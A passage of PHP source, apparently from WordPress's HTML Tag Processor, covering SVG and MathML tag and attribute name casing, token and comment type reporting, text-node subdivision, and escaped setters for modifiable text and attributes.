
				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
